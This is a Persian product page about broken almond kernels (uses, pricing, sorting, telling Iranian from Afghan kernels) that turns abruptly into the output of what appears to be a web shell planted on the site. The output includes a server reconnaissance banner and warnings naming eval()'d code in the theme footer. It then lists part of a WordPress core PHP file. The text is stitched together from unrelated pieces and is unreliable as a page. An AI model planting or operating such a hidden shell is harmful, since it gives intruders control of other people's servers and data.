مغز بادام شیرین شکسته ایرانی جهت تولید محصولات غذایی مختلفی کاربرد دارد. قنادی ها برای تولید انواع شیرینی، کیک، شکلات و بستنی، مغز بادام شیرین را سفید کرده و پودر می کنند. کارگاههای روغن گیری و کارخانه های تولید کره های گیاهی بادام سفید شده و مغز بادام شکسته را جهت تولید کره بادام درختی، تولید روغن بادام شیرین استفاده می نمایند.
مغز بادام شیرین شکسته ایرانی برای همکارانی که مغز بادام را پودر خواهند کرد و یا روغن گیری می نمایند بسیار مناسب است. چون قیمت آن بسیار پایین تر از مغز بادام سالم است.
قیمت مغز بادام لپه(خرد شده) تلخ و شیرین
مغز بادام لپه شیرین و تلخ در بازار با نرخ های متفاوت با توجه به شرایط زیر قیمت گذاری می شود:
با توجه به تازه گی و کهنگی مغز لپه
میزان شکستگی و پودر بودن
سفید شده یا با پوست بودن
میزان خرید مشتری
محصول ایران یا افغانی است
مغز بادام ایرانی به دلیل طعم و مزه خوبی که دارد و درصد بالای روغن آن گرانتر از نمونه افغانی است.
شرایط تولید و فروش مغز بادام شیرین شکسته
زمانی که بادام سنگی شکسته می شود، مغز های سالم به:
بادام سالم درشت
بادام سالم متوسط
بادام سالم ریز سورت می شود و
زیر سرندی مغز ها همان مغز بادام لپه یا سکشته است. ممکن است داخل این مغز ها پوسته های شکسته بادام و یا سنگ ریزه هایی موجود باشد که بوجار شده و از آن جدا می شود.
همچنین بادام های شکسته درشت ر سورت شده جهت روغن گیری به فروش می رسد
مغز هایی که درصد پودر بیشتری دارند برای مصارف قنادی و بستنی بسته بندی می گردد.
مغز بادام شکسته مرغوب
اما چگونه تشخیص بدهیم که مغز بادم لپه ای که می خریم ایرانی است نه افغانی و یا مغز بادام تلخ شیرین شده؟
حتما مزه بادام را تست کنید مغز بادام درختی ایرانی شیرینی بیشتری و دارد و کاملا به مزاج خوش می آید.
دقت کنید مغزها به زردی بزند. هر چه مغز ها تیره تر باشد بیشتر احتمال دارد افغانی بوده باشد.
مغز بادام ایرانی نسبت به نمونه آمریکایی ضخامت کمتری و نسبت به بادام تلخ و مغز بادام شیرین افغانی تپل تر به نظر می رسد.
مغز بادام تلخ شیرین شده بیشتر به بی طعمی می زند در حالی که مغز بادام شیرین، طعم شیرینی مشخصی دارد.
Server IP : 37.187.155.34 / Your IP : 18.117.71.21 Web Server : LiteSpeed System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64 User : oilse103 ( 1565) PHP Version : 7.4.33 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329
OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335
OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341
OFF Directory (0755) : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/../wp-includes/
Current File : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/../wp-includes/block-bindings.php
<?php
/**
* Block Bindings API
*
* Contains functions for managing block bindings in WordPress.
*
* @package WordPress
* @subpackage Block Bindings
* @since 6.5.0
*/
/**
* Registers a new block bindings source.
*
* Registering a source consists of defining a **name** for that source and a callback function specifying
* how to get a value from that source and pass it to a block attribute.
*
* Once a source is registered, any block that supports the Block Bindings API can use a value
* from that source by setting its `metadata.bindings` attribute to a value that refers to the source.
*
* Note that `register_block_bindings_source()` should be called from a handler attached to the `init` hook.
*
*
* ## Example
*
* ### Registering a source
*
* First, you need to define a function that will be used to get the value from the source.
*
* function my_plugin_get_custom_source_value( array $source_args, $block_instance, string $attribute_name ) {
* // Your custom logic to get the value from the source.
* // For example, you can use the `$source_args` to look up a value in a custom table or get it from an external API.
* $value = $source_args['key'];
*
* return "The value passed to the block is: $value"
* }
*
* The `$source_args` will contain the arguments passed to the source in the block's
* `metadata.bindings` attribute. See the example in the "Usage in a block" section below.
*
* function my_plugin_register_block_bindings_sources() {
* register_block_bindings_source( 'my-plugin/my-custom-source', array(
* 'label' => __( 'My Custom Source', 'my-plugin' ),
* 'get_value_callback' => 'my_plugin_get_custom_source_value',
* ) );
* }
* add_action( 'init', 'my_plugin_register_block_bindings_sources' );
*
* ### Usage in a block
*
* In a block's `metadata.bindings` attribute, you can specify the source and
* its arguments. Such a block will use the source to override the block
* attribute's value. For example:
*
* <!-- wp:paragraph {
* "metadata": {
* "bindings": {
* "content": {
* "source": "my-plugin/my-custom-source",
* "args": {
* "key": "you can pass any custom arguments here"
* }
* }
* }
* }
* } -->
* <p>Fallback text that gets replaced.</p>
* <!-- /wp:paragraph -->
*
* @since 6.5.0
*
* @param string $source_name The name of the source. It must be a string containing a namespace prefix, i.e.
* `my-plugin/my-custom-source`. It must only contain lowercase alphanumeric
* characters, the forward slash `/` and dashes.
* @param array $source_properties {
* The array of arguments that are used to register a source.
*
* @type string $label The label of the source.
* @type callback $get_value_callback A callback executed when the source is processed during block rendering.
* The callback should have the following signature:
*
* `function ($source_args, $block_instance,$attribute_name): mixed`
* - @param array $source_args Array containing source arguments
* used to look up the override value,
* i.e. {"key": "foo"}.
* - @param WP_Block $block_instance The block instance.
* - @param string $attribute_name The name of an attribute .
* The callback has a mixed return type; it may return a string to override
* the block's original value, null, false to remove an attribute, etc.
* @type array $uses_context (optional) Array of values to add to block `uses_context` needed by the source.
* }
* @return WP_Block_Bindings_Source|false Source when the registration was successful, or `false` on failure.
*/
function register_block_bindings_source( string $source_name, array $source_properties ) {
return WP_Block_Bindings_Registry::get_instance()->register( $source_name, $source_properties );
}
/**
* Unregisters a block bindings source.
*
* @since 6.5.0
*
* @param string $source_name Block bindings source name including namespace.
* @return WP_Block_Bindings_Source|false The unregistered block bindings source on success and `false` otherwise.
*/
function unregister_block_bindings_source( string $source_name ) {
return WP_Block_Bindings_Registry::get_instance()->unregister( $source_name );
}
/**
* Retrieves the list of all registered block bindings sources.
*
* @since 6.5.0
*
* @return WP_Block_Bindings_Source[] The array of registered block bindings sources.
*/
function get_all_registered_block_bindings_sources() {
return WP_Block_Bindings_Registry::get_instance()->get_all_registered();
}
/**
* Retrieves a registered block bindings source.
*
* @since 6.5.0
*
* @param string $source_name The name of the source.
* @return WP_Block_Bindings_Source|null The registered block bindings source, or `null` if it is not registered.
*/
function get_block_bindings_source( string $source_name ) {
return WP_Block_Bindings_Registry::get_instance()->get_registered( $source_name );
}